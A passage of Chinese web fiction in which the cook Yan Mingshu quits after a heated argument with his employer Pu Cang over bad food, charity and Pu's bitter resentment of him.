这时候一琢磨,更生气了,不仅气蒲沧,还气自己没分寸没定力不洒脱。明明一开始就觉得蒲沧愿意怎么样就怎么样,不管怎么对自己都是他的事和自己无关。怎么这才不到半个月过去,又是在意蒲沧为什么不爱吃饭,又是探究蒲沧和自己的过去,今天更是推了王颛提供的工作,非要留在这里做自己一点都不会的饭? 看看这个皮蛋瘦肉粥,恶心得要命,皮蛋煮烂了把米饭都染成灰色,活像没干还掺了杂质的水泥。看看这个鸡蛋饼,没切碎的生菜和虾仁,厚得仿佛砖头,说不定里面都没完全熟透。 蒲沧还在吃。 他居然还在吃?! 他凭什么还能吃得下去?! 宴明舒真想掀桌而起,把这些饭菜盖蒲沧脸上。 看着蒲沧骨骼突出的手腕,再看看厚重的实木桌子,转而拍桌而起。 实木桌子果然坚硬厚重,一巴掌拍下去宴明舒手心生疼。他此刻也顾不上疼了,肾上激素控制着他,让他整个人像炸毛的刺猬,仅剩的一点骄傲让他不要失态。他礼貌而客气的说:“做出这种事情实在是太不好意思了,相信蒲总也不需要一个做饭难吃还没分寸感的厨子,我申请辞职。祝蒲总早日找到更合心意的员工。” 蒲沧看他,表情阴沉。 过于恐怖的表情甚至冲淡了他过瘦带来的AI感,让他看上去像拟人化的动物,披着人类的皮囊,实际上一张嘴能把他的喉管咬开。 宴明舒毫不畏惧,坦坦荡荡和他对视,火上浇油:“毁约的赔偿金明天就给您,现在,请把我这半个月的工资给我。蒲总不知道公益项目没关系,您不爱吃饭,也不知道有些小孩需要更营养的饭菜。” 说完,他转头往外走。还没走出两步,忽而听到身后的声音。 蒲沧简直是从嗓子眼里一字一字挤出来的:“你以为你很伟大吗?” 宴明舒的火气唰的一下就烧起来了。 这个阴晴不定、毫无人情的神经病!这和伟大有什么关系吗?自己就只是在做自己觉得有意义的事情,给自己扣一个伟大的帽子,进而指责自己只是为了这顶高帽吗? 蒲沧的第二句话跟着砸过来:“你以为他们会感激你吗?” 宴明舒气傻了,转过头对峙:“不然呢?我就是很伟大,他们就是会感激我。你没经历过他们的生活,不知道这些意味着什么。” 蒲沧一字一句反驳,掷地有声盖棺定论:“不会,他们会恨你。恨你从一出生就拥有这些东西,恨你高高在上的给予施舍,恨你的同情和怜悯,恨……” “神经病!” 宴明舒再也忍不住,破口大骂,“不会有人这样!你以为所有人都和你一样阴暗吗?除了你根本没人会这样想!” 蒲沧被打断,久久的看着宴明舒,反而笑了:“对,只有我会这么想。” “只有我恨你。” 宴明舒真的要被气炸了,甚至没有理智分析蒲沧这句话背后到底代表着什么,话赶话的顶上去:“你也配?” 蒲沧笑得更开怀:“我不配。” 他的笑容骤然消失,声音也轻了,“所以我才更恨你。”